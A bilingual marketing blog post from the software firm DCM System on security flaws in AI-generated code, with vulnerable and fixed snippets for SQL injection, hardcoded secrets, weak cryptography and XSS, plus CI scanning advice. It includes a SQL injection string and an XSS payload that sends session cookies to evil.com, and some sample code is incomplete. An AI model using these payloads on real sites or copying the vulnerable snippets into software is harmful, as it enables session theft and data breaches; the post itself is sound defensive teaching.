IA Genera, ¿Quién Revisa?

Tu equipo deploya código de IA en minutos. Nadie lo audita. Tres semanas después, el breach.

[DATO REAL]: El 56% de los desarrolladores admite que las herramientas de IA generan código con errores de seguridad — y el 80% no aplica políticas de seguridad consistentes al output. (Snyk, AI Code Security Report)

En este artículo vas a:

• Entender por qué el código de IA tiene más vulnerabilidades que el humano
• Ver los 5 patrones de ataque más comunes en outputs de LLMs (con código real)
• Conocer el framework de 5 capas que aplica DCM para asegurar cada línea
• Saber si tu empresa necesita auditar lo que ya desplegó

---

01 EL PROBLEMA REAL

Tu equipo acaba de deployar un microservicio nuevo. Lo escribieron en dos horas con Copilot, ChatGPT y unos prompts bien redactados. Los tests pasan. El CI está verde. El PM está feliz. Producción.

Tres semanas después, un script kiddie de 16 años le mete una inyección SQL por un endpoint que nadie revisó. Tu base de datos de clientes — nombres, correos, contraseñas hasheadas con MD5 porque así lo generó el LLM — está en un paste de Telegram. Tu equipo, el mismo que se sentía seguro porque “la IA lo generó bien”, apaga incendios a las 3 AM.

No es ciencia ficción. Stanford lo documentó (Perry et al., IEEE S&P 2023): los desarrolladores que usaron IA produjeron código con significativamente más vulnerabilidades — y reportaron sentirse más confiados en que era seguro.

PIÉNSALO ASÍ

Es como manejar borracho convencido de que estás manejando mejor que nunca. La confianza sube, el desempeño real baja.

Antes (sin IA)	El costo oculto	Después (con IA sin revisión)
Código lento pero auditado	Velocidad × descuido	Código rápido con brechas activas

---

02 POR QUÉ PASA

Los LLMs aprenden de repositorios públicos. En GitHub hay millones de líneas de código vulnerable: tutoriales, prototipos, demos que nunca llegaron a producción. El modelo no distingue entre código seguro e inseguro — optimiza para que el código compile y funcione, no para que resista un ataque.

Resultado: el modelo genera SQL con interpolación directa, secrets hardcodeados, criptografía con MD5, dependencias alucinadas. Y lo hace con confianza, sin warnings.

Gartner proyecta que para 2026 más del 80% del código nuevo incluirá componentes generados por IA. GitClear ya reportó un aumento del 39% en code churn correlacionado con adopción de IA — más código, más rápido, más superficie de ataque sin revisar. Y Purdue University encontró que el 52% de las respuestas de código de ChatGPT contienen errores. Lanzar una moneda te da mejores probabilidades.

---

03 LA SOLUCIÓN

El problema no es la IA. Es la ausencia de proceso entre “el modelo lo generó” y “está en producción”.

Estos son los 5 patrones de vulnerabilidad que aparecen una y otra vez en outputs de LLMs:

1. Inyección SQL (CWE-89)

// VULNERABLE — interpolación directa
const query = `SELECT * FROM users WHERE username = '${username}'`;
// Atacante mete: ' OR '1'='1' -- → acceso a toda la tabla

// SEGURO — consulta parametrizada
const query = 'SELECT id, username FROM users WHERE username = $1';
await db.query(query, [username]);

2. XSS (CWE-79) — renderizar HTML del usuario sin sanitizar:

// VULNERABLE
res.send(`<h1>Bienvenido, ${req.query.name}</h1>`);

// SEGURO
import escapeHtml from 'escape-html';
res.setHeader('Content-Security-Policy', "default-src 'self'");
res.send(`<h1>Bienvenido, ${escapeHtml(req.query.name || '')}</h1>`);

3. Secrets hardcodeados (CWE-312) — el LLM pone las credenciales en texto plano porque así lo vio en millones de ejemplos de entrenamiento. Solución: variables de entorno siempre, .env nunca al repo.

4. Criptografía débil (CWE-327) — MD5, SHA1, AES-ECB, IVs estáticos. El LLM los genera porque son comunes en el training data. Usa bcrypt/argon2 para passwords y AES-256-GCM con IV aleatorio para cifrado.

5. Slopsquatting — los LLMs alucinan nombres de paquetes en más del 30% de las consultas. Un atacante registra ese nombre ficticio en npm/PyPI con un postinstall que roba tus variables de entorno. Un npm install y todas tus API keys se fueron, sin warnings.

Hay un factor transversal que ningún benchmark captura: el LLM no conoce tu arquitectura. No sabe que tu base de datos tiene 50 millones de registros, que tu API requiere idempotency keys, ni que tu regulación local exige que los datos no salgan del país. Genera código genérico. Y código genérico en una arquitectura específica es código roto esperando un trigger.

---

04 CÓMO IMPLEMENTARLO

El framework de 5 capas que aplicamos en DCM para cada línea de código que toca un LLM:

1. Prompts defensivos — incluye requisitos de seguridad en el prompt antes de generar. Si necesitas un endpoint de login, especifica: consultas parametrizadas, rate limiting (5 intentos/IP/15 min), bcrypt, JWT con expiración de 1h, headers HSTS/CSP.

2. Análisis estático automatizado — antes de que un humano vea el código, corre Semgrep (--config=p/owasp-top-ten), SonarQube o Bandit (Python). Si detecta algo, no pasa.

3. Auditoría de dependencias — npm info nombre-paquete antes de instalar cualquier cosa sugerida por el LLM. Socket.dev para detectar supply chain attacks. npm audit + Snyk en el pipeline.

4. Revisión humana con checklist — input validation, queries parametrizadas, cero secrets hardcodeados, algoritmos de crypto actuales, tokens con expiración, rate limiting, error handling sin stack traces, logs sin datos sensibles, CORS/CSP configurados.

5. Gates en CI/CD — SAST + dependency check + secrets scanning con Gitleaks + container scanning con Trivy. Si cualquiera falla, el deploy se bloquea. Sin excepciones, sin bypass.

---

05 ¿ES PARA TI?

Sí, si tu empresa:

• ✅ Ya usa IA (Copilot, ChatGPT, Cursor) para generar código que llega a producción
• ✅ No tiene un pipeline de seguridad automatizado revisando ese output
• ✅ Creció rápido con IA y ahora tiene deuda técnica que nadie auditó

No, si:

• ❌ Tu equipo ya tiene SAST, revisión humana con checklist y auditoría de dependencias en cada PR
• ❌ Tu código no toca datos de usuarios ni infraestructura crítica (prototipo interno, demos)

---

Preguntas frecuentes

¿Es suficiente con que el dev que generó el código lo revise él mismo? No. El mismo dev que generó el código tiene el mismo punto ciego que el LLM — no ve lo que no sabe que no sabe. La revisión debe hacerla alguien con contexto de seguridad y del sistema, distinto al autor.

¿Los LLMs van a mejorar y dejar de generar código vulnerable? Parcialmente. Modelos más nuevos cometen menos errores obvios. Pero el problema fundamental — falta de contexto de tu arquitectura, compliance y modelo de amenazas — no se resuelve con más parámetros. Se resuelve con proceso.

¿Qué pasa si ya tenemos código generado por IA en producción sin haberlo auditado? Prioriza una auditoría de los endpoints de autenticación, manejo de datos de usuarios y dependencias instaladas. Son los vectores de mayor riesgo. Después implementa el pipeline preventivo.

---

Acción inmediata: Corre semgrep --config=p/owasp-top-ten src/ en tu repositorio hoy. Si tienes hits, ya sabes por dónde empezar. Tarda menos de 10 minutos instalarlo.

¿Quieres ayuda? → Habla con DCM — llevamos más de 12 años construyendo software que no se hackea.

Imagine this. It’s a Tuesday afternoon. Your dev team just shipped a new microservice — authentication, payment processing, user data handling. Built in two days flat using Copilot and ChatGPT. The sprint velocity chart looks incredible. Your PM is thrilled. Your CTO is drafting a LinkedIn post about “10x productivity.”

Meanwhile, the code has a hardcoded API key on line 47, an SQL injection vulnerability in the search endpoint, and the encryption uses a mode so weak it was deprecated before your junior dev was born. Nobody noticed. Nobody checked. The AI wrote it, the tests passed, and the PR got a rubber-stamp approval because it looked right.

Three months from now, you’ll be on a call with a forensics team trying to figure out how someone exfiltrated 200,000 customer records. And the answer will be embarrassingly simple: nobody reviewed the security of code that was never written by a human.

Welcome to the most dangerous era of software development.

The Numbers Don’t Lie

Let’s start with what the research actually says, because the gap between perception and reality here is staggering.

A landmark study from Stanford (Perry et al., published at IEEE S&P 2023) ran a controlled experiment with developers using AI coding assistants versus those coding manually. The results should make every engineering leader pause: developers using AI assistants produced significantly more vulnerable code while simultaneously reporting higher confidence that their code was secure. Over 40% of security-related tasks resulted in vulnerable code. Let that sink in. The tool designed to make you faster is also making you less secure — and you don’t even know it.

Snyk’s AI Code Security Report backs this up from the industry side: 56% of developers report that AI-suggested code regularly includes security flaws. But here’s the truly alarming part — 80% of developers don’t apply consistent security policies to AI-generated code. They treat it differently. Less scrutiny. Fewer reviews. As if the AI earned some implicit trust that no human developer would get on their first day. This is precisely why real engineers still matter more than ever in the AI era.

GitClear’s 2024 analysis of millions of commits found a 39% increase in code churn correlated with AI adoption. Code churn means code that gets written and then rewritten or deleted shortly after. Translation: teams are generating more code, but a significant chunk of it is wrong, insecure, or broken — and they’re spending cycles fixing what the AI got wrong in the first place.

And it’s not just the assistants. A Purdue University study found that 52% of ChatGPT’s answers to programming questions contained errors. More than half. You’d get better odds flipping a coin.

According to Gartner, over 80% of new code in 2026 includes AI-generated components. If even a fraction of that code carries the vulnerability rates we’re seeing in research, we’re building a massive, interconnected attack surface — and most organizations don’t have the security posture to handle it.

The Top 5 Ways AI Code Gets You Hacked

Let’s get specific. These aren’t theoretical vulnerabilities from academic papers. These are the patterns we see in real codebases, in production, at companies that should know better.

1. SQL Injection (CWE-89) — The Vulnerability That Won’t Die

AI models love string concatenation. It’s the simplest way to build a query, and LLMs optimize for “looks correct” — not “is secure.”

What AI generates:

# The AI wrote this. It looks clean. It works perfectly.
# It will also destroy your database.

def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

An attacker sends ' OR '1'='1' -- as the username, and now they have every record in your users table. This is SQL injection 101 — a vulnerability class that’s been documented since 1998 — and AI assistants still generate it routinely.

What a security-conscious engineer writes:

def get_user(username):
    query = "SELECT * FROM users WHERE username = %s"
    cursor.execute(query, (username,))
    return cursor.fetchone()

Parameterized queries. That’s it. One line different. But that one line is the difference between “secure application” and “front-page data breach.”

2. Hardcoded Secrets (CWE-312) — Shipping Your Keys to the World

This one is epidemic in AI-generated code. LLMs learn from training data that’s riddled with examples containing hardcoded credentials. So when you ask for “a function to connect to AWS S3,” you get this:

What AI generates:

import boto3

s3_client = boto3.client(
    's3',
    aws_access_key_id='AKIAIOSFODNN7EXAMPLE',
    aws_secret_access_key='wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
    region_name='us-east-1'
)

That code will end up in a git commit. That commit will get pushed to a repo. If that repo is public — or if an attacker gains access to your version control — those credentials are compromised. Bots actively scan GitHub for exactly this pattern. Exposure time from push to exploitation? Under four minutes.

What you should actually write:

import boto3
import os

s3_client = boto3.client(
    's3',
    aws_access_key_id=os.environ['AWS_ACCESS_KEY_ID'],
    aws_secret_access_key=os.environ['AWS_SECRET_ACCESS_KEY'],
    region_name=os.environ.get('AWS_REGION', 'us-east-1')
)

Environment variables. Secrets managers. Vault. Anything except hardcoding credentials in source files.

3. Broken Cryptography (CWE-327) — Security Theater in Code Form

This is where AI-generated code gets genuinely dangerous, because it looks secure to anyone who isn’t a cryptography specialist. LLMs consistently produce encryption code that uses:

• ECB mode (Electronic Codebook) — which encrypts identical plaintext blocks to identical ciphertext blocks. You can literally see patterns in the encrypted data.
• Hardcoded keys and static IVs — defeating the entire purpose of encryption.
• MD5 or SHA1 for password hashing — algorithms broken years ago.

What AI generates:

from Crypto.Cipher import AES
import hashlib

# Hardcoded key. Static IV. ECB mode. MD5.
# This is a security audit's nightmare in 5 lines.
key = hashlib.md5(b"supersecretkey").digest()
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(pad(data, AES.block_size))

What secure encryption actually looks like:

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Protocol.KDF import scrypt

# Derive key from password with proper KDF
salt = get_random_bytes(32)
key = scrypt(password.encode(), salt, key_len=32, N=2**20, r=8, p=1)

# AES-GCM: authenticated encryption with random nonce
cipher = AES.new(key, AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(data)

# Store: salt + nonce + tag + ciphertext
result = salt + cipher.nonce + tag + ciphertext

The secure version uses a proper key derivation function (scrypt), random salt, AES-GCM (authenticated encryption), and a random nonce. None of these are exotic — they’re the baseline. But the AI doesn’t know that, because most of its training data uses the broken patterns.

4. Cross-Site Scripting / XSS (CWE-79) — Trusting User Input

AI-generated frontend code almost never sanitizes output properly. It builds DOM elements from user data like it’s 2005 and the internet is a friendly place.

What AI generates:

// Display user profile. What could go wrong?
app.get('/profile', (req, res) => {
  const name = req.query.name;
  res.send(`<h1>Welcome, ${name}!</h1>`);
});

An attacker sets name to <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> and now every visitor to that page sends their session cookies to the attacker’s server.

Secure version:

import DOMPurify from 'dompurify';
import { escape } from 'html-escaper';

app.get('/profile', (req, res) => {
  const name = escape(req.query.name);
  res.send(`<h1>Welcome, ${name}!</h1>`);
});

Output encoding. Content Security Policy headers. Using frameworks that escape by default (React, for instance). These aren’t optional — they’re mandatory for any user-facing application.

5. Slopsquatting — The Attack Vector AI Invented

This one is new, and it’s genuinely creative. LLMs hallucinate. We all know that. But what happens when they hallucinate package names?

Research shows that over 30% of package recommendations from LLMs reference packages that don’t exist. They sound plausible — python-jwt-utils, flask-restful-auth, node-safe-crypto — but they’re fabricated by the model.

Attackers figured this out. They monitor what package names LLMs hallucinate, then register those exact names on npm, PyPI, and other registries — loaded with malware. When a developer follows the AI’s suggestion and runs pip install hallucinated-package, they’re installing an attacker’s code directly into their environment.

This is called slopsquatting, and it’s a supply chain attack that didn’t exist before AI coding assistants. The AI creates the attack vector, and the human blindly executes it.

How to defend against it:

# ALWAYS verify a package exists and is legitimate before installing
# Check: download count, maintainer, last update, GitHub repo

# Use lockfiles and hash verification
pip install --require-hashes -r requirements.txt

# Use tools like Socket.dev to detect suspicious packages
npx socket scan

The Samsung Effect: When Theory Becomes Front-Page News

In early 2023, Samsung engineers pasted proprietary semiconductor source code into ChatGPT — three separate incidents within a single month. Trade secrets. Internal architecture. Code that represented billions in R&D investment, fed directly into a third-party AI model’s training pipeline.

Samsung’s response? A company-wide ban on generative AI tools.

This isn’t an isolated case. It’s just the one that made headlines because Samsung is huge. The same thing is happening at thousands of companies right now — developers pasting production code, database schemas, API keys, internal documentation, and customer data into AI chatbots without thinking about where that data goes.

The UK’s National Cyber Security Centre (NCSC) has publicly stated that AI will almost certainly increase the volume and impact of cyber attacks. CISA — the US Cybersecurity and Infrastructure Security Agency — now lists AI code generation as an explicit risk factor in their “Secure by Design” guidance. OWASP released a dedicated Top 10 for LLM Applications (v1.1, 2024) because the threat landscape is moving that fast.

This isn’t FUD. This is every major cybersecurity authority in the Western world saying the same thing: AI-generated code requires a fundamentally different security approach.

Your AI Doesn’t Know Your Architecture

Here’s the core problem that no amount of prompt engineering fixes: LLMs have zero context about your system.

When you ask ChatGPT to write an authentication function, it doesn’t know:

• Your database schema and what constraints exist
• Your existing middleware stack and how requests are processed
• Your compliance requirements (HIPAA? PCI-DSS? SOC 2? Colombian Ley 1581?)
• Your deployment topology and where trust boundaries exist
• Your threat model and who your likely attackers are
• Which libraries are already in your dependency tree
• Your team’s security policies and coding standards

It generates code in a vacuum. Generic, context-free, one-size-fits-none code. And that generic code gets dropped into a specific, complex system where the assumptions the AI made — about input validation, error handling, access control, data flow — are wrong.

A junior developer copies the AI’s authentication function. It works in the test environment. Nobody realizes it doesn’t check role-based permissions because the AI didn’t know your app has role-based permissions. Six months later, a customer discovers they can access another customer’s data by changing an ID in the URL. Classic IDOR — Insecure Direct Object Reference. The AI didn’t create the vulnerability on purpose. It just didn’t know enough to avoid it.

Security is contextual. It depends on understanding the full system. And that’s something AI fundamentally can’t do today.

How to Actually Secure AI-Generated Code

Enough about problems. Let’s talk solutions. Here’s a practical framework — not theory, but what actually works in production environments. If you’re using tools like Claude Code, our in-depth guide on configuring skills, hooks, and security gates covers the automation side in detail.

Layer 1: Pre-Commit Scanning

Catch vulnerabilities before they enter your codebase. These tools integrate into your IDE and CI pipeline:

# .github/workflows/security-scan.yml
name: Security Gate
on: [pull_request]

jobs:
  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Semgrep SAST
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/owasp-top-ten
            p/cwe-top-25
            p/security-audit

      - name: CodeQL Analysis
        uses: github/codeql-action/analyze@v3

      - name: Secret Detection
        uses: trufflesecurity/trufflehog@main
        with:
          extra_args: --only-verified

Tools to know:

Tool	What It Does	Best For
Semgrep	Pattern-based SAST scanner	Custom rules, fast scans
CodeQL	Semantic code analysis	Deep dataflow tracking
SonarQube	Continuous code quality	Enterprise teams
Snyk	Dependency + code scanning	Supply chain security
Socket.dev	Package supply chain analysis	Detecting slopsquatting
Bandit	Python security linter	Python-specific vulns
TruffleHog	Secret detection	Finding leaked credentials

Layer 2: Mandatory Code Review for AI Output

Treat AI-generated code like code from an untrusted contractor. Because that’s exactly what it is.

• Every PR with AI-generated code gets a security-focused review — not just a functional review
• Reviewers check for OWASP Top 10 patterns explicitly
• No auto-merge for AI-assisted PRs. Ever.
• Require at least one reviewer with security expertise to approve

Layer 3: Dependency Verification

Before you npm install or pip install anything an AI recommended:

# Verify the package exists and is legitimate
npm info <package-name>

# Check for known vulnerabilities
npm audit
pip-audit

# Verify package integrity with lockfiles
npm ci  # Uses package-lock.json strictly

# Monitor for supply chain attacks
npx socket scan package.json

Layer 4: Runtime Protection

Because defense in depth isn’t optional:

# Input validation layer — validate EVERYTHING
from pydantic import BaseModel, field_validator, constr

class UserInput(BaseModel):
    username: constr(min_length=3, max_length=50, pattern=r'^[a-zA-Z0-9_]+$')
    email: EmailStr
    age: int = Field(ge=13, le=150)

    @field_validator('username')
    @classmethod
    def no_sql_keywords(cls, v):
        forbidden = ['SELECT', 'DROP', 'INSERT', 'DELETE', 'UPDATE', '--', ';']
        if any(keyword in v.upper() for keyword in forbidden):
            raise ValueError('Invalid characters in username')
        return v

Layer 5: Security Policy as Code

Don’t rely on humans remembering to check things. Encode your security policies into automated gates:

# semgrep-custom-rules.yml
rules:
  - id: no-hardcoded-secrets
    patterns:
      - pattern: |
          $KEY = "..."
      - metavariable-regex:
          metavariable: $KEY
          regex: .*(secret|password|token|key|api_key).*
    message: "Hardcoded secret detected. Use environment variables."
    severity: ERROR

  - id: no-ecb-mode
    pattern: AES.new($KEY, AES.MODE_ECB)
    message: "ECB mode is insecure. Use AES-GCM or AES-CBC with HMAC."
    severity: ERROR

  - id: no-md5-passwords
    pattern: hashlib.md5(...)
    message: "MD5 is broken for security purposes. Use bcrypt or argon2."
    severity: ERROR

Layer 6: Developer Training

The human in the loop needs to be an informed human. If your developers can’t identify a SQL injection in AI-generated code, no amount of tooling saves you. Invest in:

• OWASP Top 10 training for every developer — not just the security team
• Regular “spot the vulnerability” exercises using real AI-generated code
• Threat modeling sessions for every new feature
• Incident response drills that include AI-related scenarios

What We Do at DCM System

We’ve been building production software for over 12 years. We adopted AI tools early — not because we’re trend-chasers, but because we’re engineers, and good engineers use the best tools available. But we also understood something that a lot of teams are learning the hard way:

AI is an accelerator, not a replacement for engineering judgment.

Here’s our actual workflow:

1. AI generates first drafts — boilerplate, prototypes, test scaffolding. This is where AI shines, and we let it.

2. Human engineers review every line — with specific attention to the OWASP Top 10, input validation, authentication flows, and data handling. We don’t rubber-stamp AI output.

3. Automated security gates block insecure code — Semgrep, CodeQL, dependency scanning, and secret detection run on every single PR. If the scan fails, the code doesn’t merge. Period.

4. Architecture decisions are human — AI doesn’t decide your database schema, your trust boundaries, your encryption strategy, or your deployment topology. Engineers with context do.

5. Client data never touches third-party AI — we run local models for sensitive analysis. Proprietary code stays inside controlled infrastructure. No exceptions.

6. Continuous security monitoring — because security isn’t a checkbox you tick at deployment. It’s a continuous process that requires visibility into your running systems.

The result? We ship faster than teams without AI. And we ship more securely than teams that trust AI blindly. That’s not a contradiction — it’s what happens when you combine the right tool with the right expertise.

The Bottom Line

AI-generated code is here to stay. It’s already in virtually every new application. That’s not the problem.

The problem is that most teams are adopting AI code generation at speed while their security practices are stuck in 2019. They’re generating code 10x faster but reviewing it at the same rate — or worse, not reviewing it at all. They’re trusting AI output because it compiles and passes basic tests, while ignoring the fact that every serious study shows AI-generated code carries more vulnerabilities, not fewer.

The companies that will thrive in the next five years aren’t the ones generating the most code. They’re the ones that can generate code fast and guarantee it’s secure. That requires engineers who understand security. It requires automated tooling that catches what humans miss. It requires organizational discipline to never skip the review step, no matter how good the AI’s output looks.

Every line of AI-generated code is a bet. The question is whether you’re betting with your eyes open — with proper review, scanning, and security gates — or betting blind, hoping the AI got it right.

Your attackers are already testing the second scenario. Don’t make it easy for them.

---

At DCM System, we build secure software with AI as a force multiplier, not a blind trust system. If you want to know how your codebase measures up, let’s talk.